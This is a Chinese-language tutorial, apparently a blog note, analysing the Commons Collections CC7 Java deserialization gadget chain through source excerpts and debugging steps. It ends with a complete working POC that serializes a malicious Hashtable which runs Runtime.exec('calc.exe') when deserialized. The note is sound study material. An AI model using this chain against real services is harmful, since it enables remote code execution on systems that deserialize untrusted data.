CC7
静态分析
Gadget
Gadget chain:
Hashtable.readObject
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
从上面可以看出来这个链子的前半部分是新东西,后半段都是熟悉的东西
CC7发现了AbstractMap.equals可以调用到LazyMap.get(),也就是之前CC1的内容,而AbstractMapDecorator.equals可以调用AbstractMap.equals, Hashtable的反序列化方法会调用它自身的Hashtable.reconstitutionPut,这个方法可以调用到equals
这里还有一个小点,就是java里面的&&这种结构,如果左边的是false了右边的就不会执行了
demo:
package com.test.CC7;
public class ShortCircuitDemo {
public static boolean leftSide() {
System.out.println("Evaluating left side");
return false;
}
public static boolean rightSide() {
System.out.println("Evaluating right side");
return true;
}
public static void main(String[] args) {
System.out.println("Test 1: false && true");
if (leftSide() && rightSide()) {
System.out.println("This won't be printed");
}
System.out.println("\nTest 2: true && false");
if (true && rightSide()) {
System.out.println("This will be printed");
}
}
}
Hashtable的反序列化方法会调用它自身的Hashtable.reconstitutionPut这里,需要满足(e.hash == hash)
我们的 e.key.equals(key)
才会执行
hashcode
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
例如 A 的 ASCII 值为 65,a 为 97,B 为 66 , hash(“Aa”)=6531+97; hash(“BB”)=6631+66=6531+(66+31)=6531+97=hash(“Aa”)
所以这里利用了这样的一个tricks,构造两个LazyMap,让两个LazyMap的hash恰好相等
再把lazymap存入hashtable
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
这样就会执行 e.key.equals(key)
,也就是LazyMap.equals,但是它没实现这个方法,于是找到他爹AbstractMapDecorator
public boolean equals(Object object) {
return object == this ? true : this.map.equals(object);
}
然后他就去找HashMap的equals方法,HashMap没有equals,他就去找他爹AbstractMap
接下来执行m.get(key),这里传入的o还是Lazymap,Map<?,?> m = (Map<?,?>) o;
,所以就是执行lazymap的get方法了,分析完毕
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
动态调试
第一次put跳过
第二次put的时候,会发现这里key和之前的e.key不一样了,key多了个"yy",那么这会导致我们后面AbstractMapDecorator的equals执行不了
所以我们得在后面序列化之前,把这个"yy"给remove掉,然后再调试就可以看到进去了AbstractMap的equals方法,进而执行到LazyMap的get方法
第二次进入reconstitutionPut
此时会对传入的两个lazymap进行比较,然后执行lazymap父类(AbstractMapDecorator.class)的equal
如下,this.map是hashmap,他没有equal,还是会找到他的父类,继续把lazymap作为参数传入
AbstractMap的equal里去调用lazymap的get
调用构造好的chaintransform的transform方法
执行
再回头看看为什么我的Map为什么突然多了个"yy"
Hashtable调用put方法添加第二个元素(lazyMap2,1)
的时候,该方法内部会调用equals方法根据元素的key判断是否为同一元素,那么调用了equals就会把"yy"给插进去了
public synchronized V put(K key, V value) {
//value是否为null
if (value == null) {
throw new NullPointerException();
}
//临时变量
Entry<?,?> tab[] = table;
//计算元素的存储索引
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
//获取指定索引的链表
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
//遍历链表的节点(元素)
for(; entry != null ; entry = entry.next) {
//判断key是否重复
if ((entry.hash == hash) && entry.key.equals(key)) {
//覆盖value
V old = entry.value;
entry.value = value;
return old;
}
}
//key不重复则添加元素
addEntry(hash, key, value, index);
return null;
}
POC
package com.test.CC7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class evil {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[] {"calc.exe"}),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable table = new Hashtable();
table.put(lazyMap1,1);
table.put(lazyMap2,2);
setFieldValue(transformerChain,"iTransformers",transformers);
lazyMap2.remove("yy");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(table);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}